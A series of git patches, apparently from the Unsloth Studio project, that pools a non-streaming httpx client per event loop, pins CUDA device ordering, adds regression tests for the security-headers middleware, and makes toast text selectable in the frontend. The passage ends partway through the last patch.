* Studio: make the pooled non-streaming client per event loop

Review follow-up on the shared httpx client. It was a single module-global
instance, which has two lifecycle problems the per-request client did not:

1. After aclose() in lifespan shutdown, nonstreaming_client() kept handing back
   the closed client, so a second lifespan in the same process (repeated
   TestClient, embedded restart) failed with "client has been closed".

2. An httpx client binds its transport to the loop it first runs on, so reuse
   from another loop could raise "Event loop is closed".

Hold one client per running loop in a WeakKeyDictionary, recreate when missing
or closed, and close all on shutdown. Single-loop production is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_http.py   | 56 +++++++++++++
 studio/backend/main.py                        |  4 +
 studio/backend/routes/inference.py            | 74 +++++++++-------
 .../tests/test_api_perf_serialization.py      | 84 +++++++++++++++++++
 .../tests/test_openai_tool_passthrough.py     | 18 ++--
 5 files changed, 195 insertions(+), 41 deletions(-)
 create mode 100644 studio/backend/core/inference/llama_http.py
 create mode 100644 studio/backend/tests/test_api_perf_serialization.py

diff --git a/studio/backend/core/inference/llama_http.py b/studio/backend/core/inference/llama_http.py
new file mode 100644
index 0000000000..b554949c3e
--- /dev/null
+++ b/studio/backend/core/inference/llama_http.py
@@ -0,0 +1,56 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Shared pooled httpx.AsyncClient for NON-streaming calls to the local llama-server.
+
+Streaming generation must NOT use this. It relies on ``Connection: close`` and
+``max_keepalive_connections=0`` so a client disconnect tears down the upstream
+socket and stops GPU decode (PR #5749). This pooled client is only for short
+request/response proxy calls (non-streaming completions, embeddings) where
+reusing a connection removes per-request setup cost. Per-request ``timeout`` is
+still passed at each call site.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import weakref
+
+import httpx
+
+_LIMITS = httpx.Limits(max_connections = 64, max_keepalive_connections = 32)
+
+
+def _new_client() -> httpx.AsyncClient:
+    try:
+        return httpx.AsyncClient(limits = _LIMITS)
+    except Exception:
+        # Mirror external_provider: an unsupported env proxy scheme can raise.
+        return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
+
+
+# One client per running event loop: an httpx client binds its transport to the
+# loop it first runs on, so a single global instance breaks across a lifespan
+# restart or a second test loop. Weak keys let a finished loop drop its client.
+_clients: "weakref.WeakKeyDictionary[asyncio.AbstractEventLoop, httpx.AsyncClient]" = (
+    weakref.WeakKeyDictionary()
+)
+
+
+def nonstreaming_client() -> httpx.AsyncClient:
+    loop = asyncio.get_running_loop()
+    client = _clients.get(loop)
+    if client is None or client.is_closed:
+        client = _new_client()
+        _clients[loop] = client
+    return client
+
+
+async def aclose() -> None:
+    clients = list(_clients.values())
+    _clients.clear()
+    for client in clients:
+        try:
+            await client.aclose()
+        except Exception:
+            pass
diff --git a/studio/backend/main.py b/studio/backend/main.py
index aaeb7917d8..2313686a69 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -465,6 +465,10 @@ async def lifespan(app: FastAPI):
         app.state.bootstrap_password = storage.get_bootstrap_password()
     yield
 
+    from core.inference.llama_http import aclose as _close_llama_http
+
+    await _close_llama_http()
+
     await run_lifespan_shutdown(
         terminate_hub_downloads,
         clear_unsloth_compiled_cache,
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 71cee33b24..0b95ad3987 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -878,6 +878,7 @@ from state.tool_approvals import resolve_tool_decision
 
 from core.inference.key_exchange import decrypt_api_key
 from core.inference.api_monitor import api_monitor
+from core.inference.llama_http import nonstreaming_client
 from core.inference.providers import get_provider_info, get_base_url
 from core.inference.external_provider import ExternalProviderClient
 from core.inference.chat_templates import resolve_effective_chat_template_override
@@ -1922,6 +1923,19 @@ def get_llama_cpp_backend() -> LlamaCppBackend:
     return _llama_cpp_backend
 
 
+def _model_json_response(model, status_code: int = 200) -> Response:
+    """Serialize a pydantic response once via pydantic-core.
+
+    Equivalent body to ``JSONResponse(content = model.model_dump())`` but
+    avoids the dict round-trip plus Starlette's second ``json.dumps``.
+    """
+    return Response(
+        content = model.model_dump_json(),
+        media_type = "application/json",
+        status_code = status_code,
+    )
+
+
 @router.post("/load", response_model = LoadResponse)
 async def load_model(
     request: LoadRequest,
@@ -4318,7 +4332,7 @@ async def openai_chat_completions(
                         )
                     ],
                 )
-                return JSONResponse(content = response.model_dump())
+                return _model_json_response(response)
 
     if monitor_id is None and not getattr(request.state, "skip_api_monitor", False):
         monitor_id = api_monitor.start(
@@ -4983,7 +4997,7 @@ async def openai_chat_completions(
                     _monitor_context_length(),
                 )
                 api_monitor.finish(monitor_id)
-                return JSONResponse(content = response.model_dump())
+                return _model_json_response(response)
 
             except Exception as e:
                 logger.error(f"Error during GGUF completion: {e}", exc_info = True)
@@ -5383,7 +5397,7 @@ async def openai_chat_completions(
                     )
                 ],
             )
-            return JSONResponse(content = response.model_dump())
+            return _model_json_response(response)
         except asyncio.CancelledError:
             cancel_event.set()
             backend.reset_generation_state()
@@ -5593,7 +5607,7 @@ async def openai_chat_completions(
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
             api_monitor.finish(monitor_id)
-            return JSONResponse(content = response.model_dump())
+            return _model_json_response(response)
 
         except Exception as e:
             backend.reset_generation_state()
@@ -5941,12 +5955,11 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
         return StreamingResponse(_stream(), media_type = "text/event-stream")
     else:
         try:
-            async with httpx.AsyncClient() as client:
-                resp = await client.post(
-                    target_url,
-                    json = body,
-                    timeout = _llama_non_streaming_generation_timeout(),
-                )
+            resp = await nonstreaming_client().post(
+                target_url,
+                json = body,
+                timeout = _llama_non_streaming_generation_timeout(),
+            )
         except asyncio.CancelledError:
             api_monitor.finish(monitor_id, "cancelled")
             raise
@@ -6011,12 +6024,11 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
         )
 
     try:
-        async with httpx.AsyncClient() as client:
-            resp = await client.post(
-                target_url,
-                json = body,
-                timeout = _DEFAULT_FIRST_TOKEN_TIMEOUT_S,
-            )
+        resp = await nonstreaming_client().post(
+            target_url,
+            json = body,
+            timeout = _DEFAULT_FIRST_TOKEN_TIMEOUT_S,
+        )
     except asyncio.CancelledError:
         api_monitor.finish(monitor_id, "cancelled")
         raise
@@ -6649,7 +6661,7 @@ async def _responses_non_streaming(
         api_monitor.set_reply(monitor_id, text or _monitor_tool_calls_text(tool_calls))
         _monitor_usage(monitor_id, usage_data, _monitor_context_length())
         api_monitor.finish(monitor_id)
-        return JSONResponse(content = response.model_dump())
+        return _model_json_response(response)
     except asyncio.CancelledError:
         api_monitor.finish(monitor_id, "cancelled")
         raise
@@ -8253,7 +8265,7 @@ async def _anthropic_tool_non_streaming(
             output_tokens = usage.get("completion_tokens", 0),
         ),
     )
-    return JSONResponse(content = resp.model_dump())
+    return _model_json_response(resp)
 
 
 async def _anthropic_plain_non_streaming(run_gen, message_id, model_name):
@@ -8295,7 +8307,7 @@ async def _anthropic_plain_non_streaming(run_gen, message_id, model_name):
             output_tokens = usage.get("completion_tokens", 0),
         ),
     )
-    return JSONResponse(content = resp.model_dump())
+    return _model_json_response(resp)
 
 
 # =====================================================================
@@ -8611,12 +8623,11 @@ async def _anthropic_passthrough_non_streaming(
         backend_ctx = llama_backend.context_length,
     )
 
-    async with httpx.AsyncClient() as client:
-        resp = await client.post(
-            target_url,
-            json = body,
-            timeout = _llama_non_streaming_generation_timeout(),
-        )
+    resp = await nonstreaming_client().post(
+        target_url,
+        json = body,
+        timeout = _llama_non_streaming_generation_timeout(),
+    )
 
     if resp.status_code != 200:
         raise HTTPException(
@@ -8667,7 +8678,7 @@ async def _anthropic_passthrough_non_streaming(
             output_tokens = usage.get("completion_tokens", 0),
         ),
     )
-    return JSONResponse(content = resp_obj.model_dump())
+    return _model_json_response(resp_obj)
 
 
 # =====================================================================
@@ -9236,12 +9247,11 @@ async def _openai_passthrough_non_streaming(
     )
     while True:
         try:
-            async with httpx.AsyncClient() as client:
-                resp = await client.post(
-                    target_url,
-                    json = body,
-                    timeout = _llama_non_streaming_generation_timeout(),
-                )
+            resp = await nonstreaming_client().post(
+                target_url,
+                json = body,
+                timeout = _llama_non_streaming_generation_timeout(),
+            )
         except asyncio.CancelledError:
             api_monitor.finish(monitor_id, "cancelled")
             raise
diff --git a/studio/backend/tests/test_api_perf_serialization.py b/studio/backend/tests/test_api_perf_serialization.py
new file mode 100644
index 0000000000..f5ad53306d
--- /dev/null
+++ b/studio/backend/tests/test_api_perf_serialization.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""_model_json_response produces the same body as JSONResponse(model.model_dump())."""
+
+import asyncio
+import json
+from typing import Optional
+
+from fastapi.responses import JSONResponse
+from pydantic import BaseModel
+
+import routes.inference as inference_route
+from core.inference import llama_http
+
+
+class _Usage(BaseModel):
+    prompt_tokens: int = 3
+    completion_tokens: int = 5
+    details: Optional[dict] = None
+
+
+class _Choice(BaseModel):
+    index: int = 0
+    text: str = "hello"
+    logprobs: Optional[dict] = None
+
+
+class _Resp(BaseModel):
+    id: str = "chatcmpl-abc"
+    object: str = "chat.completion"
+    created: int = 1700000000
+    model: str = "unsloth/SmolLM2-135M-Instruct-GGUF"
+    choices: list[_Choice] = [_Choice()]
+    usage: _Usage = _Usage()
+    system_fingerprint: Optional[str] = None
+
+
+def _old_body(model) -> bytes:
+    # What the previous code emitted: dict -> Starlette json.dumps.
+    return JSONResponse(content = model.model_dump()).body
+
+
+def test_body_matches_old_jsonresponse():
+    model = _Resp()
+    resp = inference_route._model_json_response(model)
+    # Same decoded JSON (key order is irrelevant once parsed), nulls preserved.
+    assert json.loads(resp.body) == json.loads(_old_body(model))
+    assert json.loads(resp.body)["system_fingerprint"] is None  # null kept, not dropped
+
+
+def test_media_type_and_status():
+    resp = inference_route._model_json_response(_Resp(), status_code = 200)
+    assert resp.media_type == "application/json"
+    assert resp.status_code == 200
+    err = inference_route._model_json_response(_Resp(), status_code = 503)
+    assert err.status_code == 503
+
+
+def test_pooled_client_reused_within_loop_and_recreated_after_close():
+    async def _scenario():
+        a = llama_http.nonstreaming_client()
+        b = llama_http.nonstreaming_client()
+        assert a is b  # reused within one loop
+        await llama_http.aclose()
+        assert a.is_closed
+        c = llama_http.nonstreaming_client()  # must not return the closed client
+        assert c is not a and not c.is_closed
+        await llama_http.aclose()
+
+    asyncio.run(_scenario())
+
+
+def test_pooled_client_is_per_event_loop():
+    clients = []
+    # Each asyncio.run uses a fresh loop; the pooled client must not leak across.
+    for _ in range(2):
+
+        async def _grab():
+            clients.append(llama_http.nonstreaming_client())
+            await llama_http.aclose()
+
+        asyncio.run(_grab())
+    assert clients[0] is not clients[1]
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index 8442d05cdc..2586076321 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -1771,9 +1771,9 @@ class TestApiMonitorProviderAndCompletionStreams:
             monitor = ApiMonitor(max_entries = 3)
             monkeypatch.setattr(inf_mod, "api_monitor", monitor)
             monkeypatch.setattr(
-                inf_mod.httpx,
-                "AsyncClient",
-                lambda *args, **kwargs: FailingAsyncClient(),
+                inf_mod,
+                "nonstreaming_client",
+                lambda: FailingAsyncClient(),
             )
             monkeypatch.setattr(
                 inf_mod,
@@ -1899,9 +1899,9 @@ class TestApiMonitorProviderAndCompletionStreams:
             monitor = ApiMonitor(max_entries = 3)
             monkeypatch.setattr(inf_mod, "api_monitor", monitor)
             monkeypatch.setattr(
-                inf_mod.httpx,
-                "AsyncClient",
-                lambda *args, **kwargs: FakeAsyncClient(),
+                inf_mod,
+                "nonstreaming_client",
+                lambda: FakeAsyncClient(),
             )
             monkeypatch.setattr(
                 inf_mod,
@@ -2014,9 +2014,9 @@ class TestApiMonitorProviderAndCompletionStreams:
             monitor = ApiMonitor(max_entries = 3)
             monkeypatch.setattr(inf_mod, "api_monitor", monitor)
             monkeypatch.setattr(
-                inf_mod.httpx,
-                "AsyncClient",
-                lambda *args, **kwargs: CancellingAsyncClient(),
+                inf_mod,
+                "nonstreaming_client",
+                lambda: CancellingAsyncClient(),
             )
             monitor_id = monitor.start(
                 endpoint = "/v1/chat/completions",

From f91460113ac529a16822fb6708e373792c8da000 Mon Sep 17 00:00:00 2001
From: Leo Borcherding <borchborchmail@gmail.com>
Date: Thu, 18 Jun 2026 00:40:04 -0500
Subject: [PATCH 55/91] Studio: pin CUDA_DEVICE_ORDER=PCI_BUS_ID and list GPUs
 at startup (#6353)

* Studio: pin CUDA_DEVICE_ORDER=PCI_BUS_ID and list GPUs at startup

On a mixed-GPU host, Studio could load a model onto a different physical
GPU than the one it selected. The free-VRAM probe numbers GPUs via
nvidia-smi (PCI-bus order), but CUDA defaults to FASTEST_FIRST ordering,
so a selected index written into CUDA_VISIBLE_DEVICES resolved to the
wrong card. Example: 5090 + RTX PRO 6000, the picker chose the emptier
RTX PRO 6000 (nvidia-smi index 1) but CUDA read index 1 as the 5090.

Pin CUDA_DEVICE_ORDER=PCI_BUS_ID at import (before any CUDA context is
created) in both the Studio entrypoint and the hardware module, so torch,
nvidia-smi, and CUDA_VISIBLE_DEVICES share one index space. setdefault
keeps an explicit user override intact. Child processes inherit it via
os.environ.

Also list every detected CUDA GPU with its index at startup instead of
naming only device 0, matching nvidia-smi -L and making the selected
index unambiguous on multi-GPU hosts.

* Studio: make CUDA_DEVICE_ORDER tests exercise module import and respect user override

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: guard full _print_cuda_device_list body and fix test PYTHONPATH trailing separator

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/main.py                    |  9 +++
 studio/backend/tests/test_utils.py        | 81 +++++++++++++++++++++++
 studio/backend/utils/hardware/hardware.py | 45 +++++++++++++
 3 files changed, 135 insertions(+)

diff --git a/studio/backend/main.py b/studio/backend/main.py
index 2313686a69..54946fa992 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -15,6 +15,15 @@ from dataclasses import asdict
 # Suppress C-level dependency warnings globally
 os.environ["PYTHONWARNINGS"] = "ignore"
 
+# Pin GPU index ordering to PCI bus id before any torch import creates a CUDA
+# context. Without this, torch/CUDA default to FASTEST_FIRST while nvidia-smi
+# (and Studio's VRAM probes) use PCI-bus order, so a GPU index chosen from
+# nvidia-smi data can resolve to a different physical card via
+# CUDA_VISIBLE_DEVICES. setdefault so an explicit user override wins. See
+# utils/hardware/hardware.py for the full rationale; set here too so the entry
+# process is covered before its heavy ML imports.
+os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
+
 # ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
 # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
 # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
diff --git a/studio/backend/tests/test_utils.py b/studio/backend/tests/test_utils.py
index c66d56528a..b34618cd4d 100644
--- a/studio/backend/tests/test_utils.py
+++ b/studio/backend/tests/test_utils.py
@@ -303,6 +303,87 @@ class TestLogGpuMemory:
         assert "No GPU available" in captured.out
 
 
+# ========== CUDA_DEVICE_ORDER pinning ==========
+
+
+class TestCudaDeviceOrder:
+    """Importing the hardware module pins CUDA_DEVICE_ORDER=PCI_BUS_ID when unset,
+    but setdefault keeps an explicit user override, so nvidia-smi indices, torch
+    ordinals, and CUDA_VISIBLE_DEVICES agree on a mixed-GPU host."""
+
+    @staticmethod
+    def _order_after_fresh_import(preset):
+        # Fresh interpreter so the module-level setdefault runs against a clean env.
+        import os, subprocess, sys
+        from pathlib import Path
+
+        env = os.environ.copy()
+        backend = str(Path(__file__).resolve().parents[1])
+        existing = env.get("PYTHONPATH", "")
+        # Avoid a trailing os.pathsep (empty entry -> cwd on sys.path) when unset.
+        env["PYTHONPATH"] = (backend + os.pathsep + existing) if existing else backend
+        if preset is None:
+            env.pop("CUDA_DEVICE_ORDER", None)
+        else:
+            env["CUDA_DEVICE_ORDER"] = preset
+        out = subprocess.run(
+            [
+                sys.executable,
+                "-c",
+                "import os, utils.hardware.hardware; print(os.environ.get('CUDA_DEVICE_ORDER'))",
+            ],
+            env = env,
+            capture_output = True,
+            text = True,
+            check = True,
+        )
+        return out.stdout.strip().splitlines()[-1]
+
+    def test_import_pins_pci_bus_id_when_unset(self):
+        assert self._order_after_fresh_import(None) == "PCI_BUS_ID"
+
+    def test_import_respects_explicit_user_override(self):
+        assert self._order_after_fresh_import("FASTEST_FIRST") == "FASTEST_FIRST"
+
+
+# ========== _print_cuda_device_list() ==========
+
+
+class TestPrintCudaDeviceList:
+    """The startup console lists every CUDA GPU with its index, not just
+    device 0, so a multi-GPU host shows the full available set."""
+
+    @needs_torch
+    def test_lists_all_devices_when_multi_gpu(self, capsys):
+        props = [
+            MagicMock(name = "p0"),
+            MagicMock(name = "p1"),
+        ]
+        props[0].name = "NVIDIA GeForce RTX 5090"
+        props[1].name = "NVIDIA RTX PRO 6000 Blackwell Workstation Edition"
+        with (
+            patch("torch.cuda.device_count", return_value = 2),
+            patch("torch.cuda.get_device_properties", side_effect = lambda i: props[i]),
+        ):
+            _hw_module._print_cuda_device_list(is_rocm = False)
+        out = capsys.readouterr().out
+        assert "[0] NVIDIA GeForce RTX 5090" in out
+        assert "[1] NVIDIA RTX PRO 6000 Blackwell Workstation Edition" in out
+        assert "CUDA_DEVICE_ORDER=" in out
+
+    @needs_torch
+    def test_silent_on_single_gpu(self, capsys):
+        with patch("torch.cuda.device_count", return_value = 1):
+            _hw_module._print_cuda_device_list(is_rocm = False)
+        assert capsys.readouterr().out == ""
+
+    @needs_torch
+    def test_never_raises_on_probe_failure(self, capsys):
+        with patch("torch.cuda.device_count", side_effect = RuntimeError("no cuda")):
+            _hw_module._print_cuda_device_list(is_rocm = False)
+        assert capsys.readouterr().out == ""
+
+
 # ========== format_error_message() ==========
 
 
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 86dfa8a93f..db608c3f53 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -35,6 +35,21 @@ from typing import Optional, Dict, Any
 logger = get_logger(__name__)
 
 
+# ── GPU index ordering ──────────────────────────────────────────────────────
+# CUDA defaults to CUDA_DEVICE_ORDER=FASTEST_FIRST, numbering GPUs by compute
+# performance. nvidia-smi -- and every free-VRAM probe in Studio -- numbers GPUs
+# by PCI bus id instead. On a mixed-GPU host (e.g. an RTX 5090 alongside an RTX
+# PRO 6000) the two orderings disagree, so an index picked from nvidia-smi data
+# ("the emptiest card is GPU 1") gets written into CUDA_VISIBLE_DEVICES and then
+# reinterpreted by CUDA against FASTEST_FIRST -- landing the model on a different
+# physical GPU than the one selected. Pinning PCI_BUS_ID makes torch, nvidia-smi,
+# and CUDA_VISIBLE_DEVICES share a single index space, matching what users see in
+# `nvidia-smi -L`. Set at import (before any torch.cuda call latches the order
+# at context creation) and inherited by child processes, since the llama-server
+# and spawn workers copy os.environ. setdefault so an explicit user override wins.
+os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
+
+
 # ========== Device Enum ==========
 
 
@@ -91,6 +106,35 @@ def _has_mlx() -> bool:
         return False
 
 
+def _print_cuda_device_list(is_rocm: bool) -> None:
+    """Print every visible CUDA/ROCm GPU with its index.
+
+    The "Hardware detected" banner names only device 0, which hides the other
+    cards on a multi-GPU host and obscures which physical GPU each index maps to.
+    Listing all devices in the pinned PCI_BUS_ID order (see CUDA_DEVICE_ORDER at
+    module top) makes the available set explicit and matches `nvidia-smi -L`.
+    No-ops on single-GPU hosts and never raises -- it is purely informational.
+    """
+    try:
+        import torch
+
+        count = torch.cuda.device_count()
+        if count <= 1:
+            return
+        label = "ROCm" if is_rocm else "CUDA"
+        order = os.environ.get("CUDA_DEVICE_ORDER", "default")
+        lines = [f"{label} devices ({count}, CUDA_DEVICE_ORDER={order}):"]
+        for i in range(count):
+            try:
+                name = torch.cuda.get_device_properties(i).name
+            except Exception:
+                name = "<unavailable>"
+            lines.append(f"  [{i}] {name}")
+        print("\n".join(lines))
+    except Exception:
+        return  # purely informational; never disrupt startup
+
+
 def detect_hardware() -> DeviceType:
     """
     Detect the best compute device and set the module-level DEVICE global.
@@ -123,6 +167,7 @@ def detect_hardware() -> DeviceType:
                 print(f"Hardware detected: ROCm (HIP {_hip_label}) -- {device_name}")
             else:
                 print(f"Hardware detected: CUDA -- {device_name}")
+            _print_cuda_device_list(IS_ROCM)
             return DEVICE
 
     # --- XPU: Intel GPU ---

From 9ccdc1a3657672c932ceebbe38c326af246673d1 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 22:53:43 -0700
Subject: [PATCH 56/91] test: add regression guards for
 SecurityHeadersMiddleware pure-ASGI (#6424)

#6394 converted SecurityHeadersMiddleware to pure ASGI but did not lock the
property in. Add three guards: it must not be a BaseHTTPMiddleware (which would
re-wrap streaming responses in an anyio task group and break is_disconnected),
it must forward the ASGI receive channel untouched, and a StreamingResponse that
polls is_disconnected must unwind cleanly on client disconnect with headers
still applied.
---
 studio/backend/tests/test_middleware.py | 110 ++++++++++++++++++++++++
 1 file changed, 110 insertions(+)

diff --git a/studio/backend/tests/test_middleware.py b/studio/backend/tests/test_middleware.py
index 6379fc88e0..11aeee6d77 100644
--- a/studio/backend/tests/test_middleware.py
+++ b/studio/backend/tests/test_middleware.py
@@ -360,6 +360,116 @@ class TestSecurityHeadersMiddleware:
         assert b"content-security-policy" in hdrs
         assert hdrs[b"x-frame-options"] == b"DENY"
 
+    def test_is_pure_asgi_not_basehttp_middleware(self, main_module):
+        # Regression: as a BaseHTTPMiddleware this wrapped the SSE stream in its
+        # own anyio task group, breaking disconnect detection (GPU stuck at 100%)
+        # and raising cancel scope errors. Must stay pure ASGI.
+        from starlette.middleware.base import BaseHTTPMiddleware
+
+        cls = main_module.SecurityHeadersMiddleware
+        assert not issubclass(cls, BaseHTTPMiddleware)
+        assert not hasattr(cls, "dispatch")
+
+    def test_forwards_receive_channel_unchanged(self, main_module):
+        # Must forward the ASGI receive channel untouched so client disconnects
+        # reach the streaming handler (BaseHTTPMiddleware swapped in its own).
+        seen = {}
+
+        async def inner_app(scope, receive, send):
+            seen["receive"] = receive
+            await send({"type": "http.response.start", "status": 200, "headers": []})
+            await send({"type": "http.response.body", "body": b"ok", "more_body": False})
+
+        mw = main_module.SecurityHeadersMiddleware(inner_app)
+        sentinel_receive = object()  # forwarded verbatim, never wrapped/awaited
+        sent = []
+
+        async def send(message):
+            sent.append(message)
+
+        async def run():
+            await mw(
+                {"type": "http", "path": "/plain", "headers": []},
+                sentinel_receive,
+                send,
+            )
+
+        asyncio.run(run())
+        assert seen["receive"] is sentinel_receive
+        start = next(m for m in sent if m["type"] == "http.response.start")
+        names = {n.lower() for n, _ in start["headers"]}
+        assert b"content-security-policy" in names
+        assert b"server" in names
+
+    def test_streaming_response_survives_client_disconnect(self, main_module):
+        # A StreamingResponse that polls is_disconnected() (like gguf_tool_stream)
+        # must unwind cleanly on client disconnect: no cancel scope error, the
+        # generator's finally runs, and security headers are still applied.
+        from fastapi import FastAPI, Request
+        from fastapi.responses import StreamingResponse
+
+        state = {"cleaned_up": False}
+        app = FastAPI()
+        app.add_middleware(main_module.SecurityHeadersMiddleware)
+
+        @app.get("/v1/chat/completions")
+        async def stream(request: Request):
+            async def gen():
+                try:
+                    for i in range(1000):
+                        if await request.is_disconnected():
+                            break
+                        yield f"data: {i}\n\n".encode()
+                        await asyncio.sleep(0.01)
+                finally:
+                    state["cleaned_up"] = True
+
+            return StreamingResponse(gen(), media_type = "text/event-stream")
+
+        scope = {
+            "type": "http",
+            "asgi": {"version": "3.0", "spec_version": "2.3"},
+            "http_version": "1.1",
+            "method": "GET",
+            "path": "/v1/chat/completions",
+            "raw_path": b"/v1/chat/completions",
+            "query_string": b"",
+            "root_path": "",
+            "scheme": "http",
+            "headers": [(b"host", b"testserver")],
+            "client": ("127.0.0.1", 50000),
+            "server": ("127.0.0.1", 80),
+        }
+
+        async def run():
+            body_started = asyncio.Event()
+            calls = {"n": 0}
+
+            async def receive():
+                calls["n"] += 1
+                if calls["n"] == 1:
+                    return {"type": "http.request", "body": b"", "more_body": False}
+                await body_started.wait()  # client clicks Stop after tokens stream
+                return {"type": "http.disconnect"}
+
+            sent = []
+
+            async def send(message):
+                sent.append(message)
+                if message["type"] == "http.response.body" and message.get("body"):
+                    body_started.set()
+
+            # Must return without raising the anyio cancel-scope RuntimeError.
+            await asyncio.wait_for(app(scope, receive, send), timeout = 5.0)
+            return sent
+
+        sent = asyncio.run(run())
+        assert state["cleaned_up"] is True
+        start = next(m for m in sent if m["type"] == "http.response.start")
+        names = {n.lower() for n, _ in start["headers"]}
+        assert b"content-security-policy" in names
+        assert b"server" in names
+
 
 # /api/health auth gate
 

From 88b1d6d4967fb71c36c2d0138a25704a0b566a3c Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 17 Jun 2026 23:51:20 -0700
Subject: [PATCH 57/91] Studio: make toast text selectable (#6423)

* Studio: make toast text selectable

Toast messages could not be highlighted or copied. Sonner's per-toast onPointerDown calls setPointerCapture(), which steals the mouse drag and stops the browser from starting a text selection. dismissible:false stops the capture but also disables the close button (same flag gates its onClick).

Wrap the Toaster in a capture-phase pointerdown handler that swallows the event on toast text only, never on its buttons, so text becomes selectable while the close button and auto-dismiss keep working.

* Studio: harden toast pointerdown guard for non-HTML targets

Cast event.target to Element (closest() lives on Element, so SVG icon targets are covered too) and guard that closest is callable before using it.
---
 studio/frontend/src/components/ui/sonner.tsx | 149 +++++++++++--------
 1 file changed, 88 insertions(+), 61 deletions(-)

diff --git a/studio/frontend/src/components/ui/sonner.tsx b/studio/frontend/src/components/ui/sonner.tsx
index faaa075fa2..33c2b77262 100644
--- a/studio/frontend/src/components/ui/sonner.tsx
+++ b/studio/frontend/src/components/ui/sonner.tsx
@@ -12,73 +12,100 @@ import { Spinner } from "@/components/ui/spinner";
 import { useTheme } from "next-themes";
 import { Toaster as Sonner, type ToasterProps } from "sonner";
 
+// Make toast text selectable. Sonner's onPointerDown calls setPointerCapture(),
+// which steals the drag and blocks text selection. dismissible:false would stop
+// it but also kills the close button. So we swallow pointerdown on toast text
+// (never on its buttons) before sonner sees it.
+const handleToastPointerDownCapture = (
+  event: React.PointerEvent<HTMLDivElement>,
+) => {
+  // closest() lives on Element, so this also covers SVG icon targets; guard
+  // against non-Element targets defensively.
+  const target = event.target as Element | null;
+  if (typeof target?.closest !== "function") return;
+  if (!target.closest("[data-sonner-toast]")) return;
+  if (
+    target.closest("button,[data-button],[data-close-button],[data-cancel]")
+  ) {
+    return;
+  }
+  event.stopPropagation();
+};
+
 const Toaster = ({ ...props }: ToasterProps) => {
   // Use resolvedTheme so sonner's data-sonner-theme always matches the class
   // next-themes puts on <html>; sonner-side "system" resolution can drift.
   const { resolvedTheme } = useTheme();
 
   return (
-    <Sonner
-      theme={(resolvedTheme as ToasterProps["theme"]) ?? "light"}
-      className="toaster group"
-      duration={5000}
-      icons={{
-        success: (
-          <HugeiconsIcon
-            icon={CheckmarkCircle02Icon}
-            strokeWidth={2}
-            className="size-4"
-          />
-        ),
-        info: (
-          <HugeiconsIcon
-            icon={InformationCircleIcon}
-            strokeWidth={2}
-            className="size-4"
-          />
-        ),
-        warning: (
-          <HugeiconsIcon
-            icon={Alert02Icon}
-            strokeWidth={2}
-            className="size-4"
-          />
-        ),
-        error: (
-          <HugeiconsIcon
-            icon={MultiplicationSignCircleIcon}
-            strokeWidth={2}
-            className="size-4"
-          />
-        ),
-        // App-wide arc spinner so loading toasts match the "Downloading model" toast.
-        loading: <Spinner className="size-4 text-muted-foreground" />,
-      }}
-      style={
-        {
-          "--normal-bg": "var(--popover)",
-          "--normal-text": "var(--popover-foreground)",
-          // No border line; elevation comes from the composer's drop shadow.
-          "--normal-border": "transparent",
-          "--border-radius": "var(--radius)",
-          // Pin the close button inside the toast's top-right corner.
-          // Sonner defaults to the left/outside edge, so keep the horizontal
-          // override here and the top offset in index.css.
-          "--toast-close-button-start": "unset",
-          "--toast-close-button-end": "8px",
-          "--toast-close-button-transform": "none",
-        } as React.CSSProperties
-      }
-      // No swipe gestures; keeps toast text selectable.
-      swipeDirections={[]}
-      toastOptions={{
-        classNames: {
-          toast: "cn-toast",
-          description: "!text-muted-foreground",
-        },
-      }}
-      {...props}
-    />
+    // display:contents adds no box; only carries the selection-fix handler.
+    // biome-ignore lint/a11y/noStaticElementInteractions: capture-only guard, not interactive
+    <div
+      style={{ display: "contents" }}
+      onPointerDownCapture={handleToastPointerDownCapture}
+    >
+      <Sonner
+        theme={(resolvedTheme as ToasterProps["theme"]) ?? "light"}
+        className="toaster group"
+        duration={5000}
+        icons={{
+          success: (
+            <HugeiconsIcon
+              icon={CheckmarkCircle02Icon}
+              strokeWidth={2}
+              className="size-4"
+            />
+          ),
+          info: (
+            <HugeiconsIcon
+              icon={InformationCircleIcon}
